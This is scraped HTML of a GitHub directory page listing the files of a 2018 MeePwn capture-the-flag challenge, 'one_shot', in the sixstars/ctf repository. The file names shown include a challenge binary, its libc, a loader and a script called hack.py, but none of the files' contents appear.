<span>81</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>350</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/sixstars/ctf/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":36729936,"originating_url":"https://github.com/sixstars/ctf/tree/master/2018/MeePwn/one_shot","user_id":null}}" data-hydro-click-hmac="847f7cca9a6a8fb55a1cf963e580e30963b34c47f24287916056ef5ffce3ea7f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/sixstars/ctf/refs" cache-key="v0:1513229372.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2l4c3RhcnMvY3Rm" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/sixstars/ctf/refs" cache-key="v0:1513229372.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2l4c3RhcnMvY3Rm" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>MeePwn</span></span><span>/</span>one_shot<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>MeePwn</span></span><span>/</span>one_shot<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/sixstars/ctf/tree-commit/d5bbd849622a781c746df3230d285455df4b257e/2018/MeePwn/one_shot" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/sixstars/ctf/file-list/master/2018/MeePwn/one_shot"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>.gdb_history</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>hack.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-linux-x86-64.so.2</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>one_shot</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 